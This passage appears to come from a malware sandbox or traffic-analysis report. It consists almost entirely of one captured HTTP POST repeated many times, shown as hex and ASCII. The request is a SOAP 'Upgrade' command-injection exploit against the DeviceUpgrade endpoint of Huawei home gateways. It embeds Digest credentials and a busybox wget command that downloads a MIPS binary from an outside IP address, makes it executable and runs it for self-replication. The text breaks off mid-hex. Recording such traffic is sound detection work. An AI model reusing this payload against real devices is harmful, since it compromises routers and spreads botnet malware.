6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 